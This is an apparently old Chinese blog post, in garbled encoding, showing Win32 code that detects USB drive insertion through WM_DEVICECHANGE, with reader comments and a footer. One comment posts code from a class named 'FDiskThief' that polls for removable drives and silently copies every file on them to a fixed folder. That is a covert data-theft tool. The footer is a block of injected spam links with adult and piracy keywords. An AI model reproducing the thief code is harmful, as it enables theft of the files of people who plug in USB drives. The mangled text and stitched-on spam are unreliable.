<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    程序人生

    撰寫(xiě)生活代碼,等待編譯美好人生
    隨筆 - 48, 文章 - 0, 評(píng)論 - 29, 引用 - 0
    數(shù)據(jù)加載中……

    WINDOWS SDK 檢測(cè)U盤(pán)插入

    今天一位老兄要我?guī)兔ψ鲆粋€(gè)軟件,需要把在U盤(pán)插入U(xiǎn)SB接口激活之后自動(dòng)把U盤(pán)里的內(nèi)容拷貝到硬上。拷貝文件不難,麻煩的就是不知道怎么檢測(cè)U盤(pán)是否激活,激活后又是哪個(gè)盤(pán)符。
    google了一下,在MSDN上看了幾個(gè)例子,找到了檢測(cè)U盤(pán)插入,并確定其盤(pán)符的方法。

    下面給出窗口的回調(diào)函數(shù):
    ?1?LRESULT?CALLBACK?WndProc?(HWND?hWnd,?UINT?message,?WPARAM?wParam,?LPARAM?lParam)
    ?2?
    ?3?{
    ?4?????
    ?5?????switch?(message)?
    ?6?????{
    ?7?????????
    ?8?????case?WM_CREATE:/*初始化*/
    ?9?????????
    10?????????MessageBox(hWnd,?"go!",?"405?Studio",?MB_OK);
    11?????????
    12?????????break;
    13?????????
    14?????case?WM_DEVICECHANGE:
    15?????????
    16?????????if(wParam?==?DBT_DEVICEARRIVAL)?//設(shè)備激活
    17?????????{
    18?????????????PDEV_BROADCAST_HDR?lpdb?=?(PDEV_BROADCAST_HDR)lParam;
    19?????????????
    20?????????????PDEV_BROADCAST_VOLUME?lpdbv?=?(PDEV_BROADCAST_VOLUME)lpdb;
    21?????????????
    22?????????????char?szMsg[80];
    23?????????????wsprintf?(szMsg,?"Drive?%c:?Media?has?arrived.\n",
    24?????????????????FirstDriveFromMask(lpdbv?->dbcv_unitmask));
    25?????????????
    26?????????????MessageBox?(hWnd,?szMsg,?"WM_DEVICECHANGE",?MB_OK);
    27?????????????
    28?????????}
    29?????????
    30?????????break;
    31?????????
    32?????default:
    33?????????return?DefWindowProc?(hWnd,?message,?wParam,?lParam)?;
    34?????}
    35?????
    36?????return?0;
    37?????
    38?}
    原理很簡(jiǎn)單檢測(cè)U盤(pán)是否被插入是通過(guò)監(jiān)聽(tīng)WM_DEVICECHANGE消息來(lái)實(shí)現(xiàn)的。18,19行是從WM_DEVICECHANGE的lParam里獲取盤(pán)符。
    FirstDriveFromMask是一個(gè)用返回盤(pán)符(A,B,C ....)的簡(jiǎn)單函數(shù)
    ?1?char?FirstDriveFromMask?(ULONG?unitmask)
    ?2?{
    ?3?????char?i;
    ?4?????
    ?5?????for?(i?=?0;?i?<?26;?++i)
    ?6?????{
    ?7?????????if?(unitmask?&?0x1)
    ?8?????????????break;
    ?9?????????unitmask?=?unitmask?>>?1;
    10?????}
    11?????
    12?????return?(i?+?'A');
    13?}

    posted on 2006-04-12 23:33 405 Studio 閱讀(2337) 評(píng)論(2)  編輯  收藏 所屬分類: Windows Programing

    評(píng)論

    # re: WINDOWS SDK 檢測(cè)U盤(pán)插入  回復(fù)  更多評(píng)論   

    請(qǐng)問(wèn)這是怎么實(shí)現(xiàn)的,這種程序我也要用。謝謝
    我的QQ:651764799
    2006-10-08 17:05 | lsy

    # re: WINDOWS SDK 檢測(cè)U盤(pán)插入  回復(fù)  更多評(píng)論   

    //-------查找U盤(pán)-------------------------------
    CString CFDiskThiefDlg::FindFdisk()
    {
    CString strdir="";
    for(char cc='A';cc<='Z';cc++)
    {
    strdir.Format("%c:",cc);
    if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移動(dòng)盤(pán)
    return strdir;
    }
    return strdir="";
    }
    //--------復(fù)制文件-----------------------------
    void CFDiskThiefDlg::CopyFile(CString dir)
    {
    CFileFind tempFind;
    CString tempFileFind;
    tempFileFind.Format("%s\\*.*",dir);
    BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
    while(IsFinded)
    {
    IsFinded=(BOOL)tempFind.FindNextFile();
    if(!tempFind.IsDots())
    {
    CString foundFileName;
    foundFileName=tempFind.GetFileName();

    if(tempFind.IsDirectory())
    {
    CString tempDir;
    tempDir.Format("%s\\%s",dir,foundFileName);
    CopyFile(tempDir);
    }
    else
    {
    CString tempFileName1,tempFileName2;
    tempFileName1.Format("%s\\%s",dir,foundFileName);
    tempFileName2.Format("%s\\%s",m_Path,foundFileName);
    ::CopyFile(tempFileName1,tempFileName2,FALSE);
    }
    }
    }
    tempFind.Close();
    }

    void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
    {
    // TODO: Add your message handler code here and/or call default
    if(IsRun)
    {
    m_NewFdisk=FindFdisk();

    if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
    {
    CopyFile(m_NewFdisk);
    }
    if(m_NewFdisk!="")
    m_OldFdisk=m_NewFdisk;
    else
    m_OldFdisk="NULL";
    }

    CDialog::OnTimer(nIDEvent);
    }

    2008-01-03 10:56 | 師弟

    只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


    網(wǎng)站導(dǎo)航:
     
    主站蜘蛛池模板: 亚洲av午夜精品一区二区三区 | 在线免费观看a级片| 亚洲另类自拍丝袜第五页| 亚洲成AⅤ人影院在线观看| 久久国产乱子伦精品免费强| 亚洲黄色激情视频| 亚洲女同成人AⅤ人片在线观看| 久久精品国产大片免费观看 | 一个人免费日韩不卡视频| 99亚偷拍自图区亚洲| 久久久久亚洲?V成人无码| 2021免费日韩视频网| 国产精品福利片免费看| 国产成人精品日本亚洲专区6| 久久精品国产精品亚洲艾草网美妙| 最近中文字幕电影大全免费版 | 亚洲欧美日韩中文无线码| 亚洲AV无码国产丝袜在线观看| 好吊妞在线新免费视频| 久久久久久久岛国免费播放| 国产精品亚洲一区二区三区| 911精品国产亚洲日本美国韩国 | 青青青国产在线观看免费| 国产日韩在线视频免费播放| 亚洲精品国产日韩| 亚洲电影中文字幕| 精品亚洲成α人无码成α在线观看 | 国产大片免费天天看| 亚洲jizzjizz在线播放久| 亚洲精品免费在线观看| 亚洲男人的天堂在线va拉文| 男人的好免费观看在线视频| 国产精品区免费视频| www一区二区www免费| 精品无码专区亚洲| 日本亚洲免费无线码| 亚洲欧洲日产国码www| 久久国产精品亚洲综合 | 337p欧洲亚洲大胆艺术| 亚洲日韩欧洲乱码AV夜夜摸| 亚洲国产a级视频|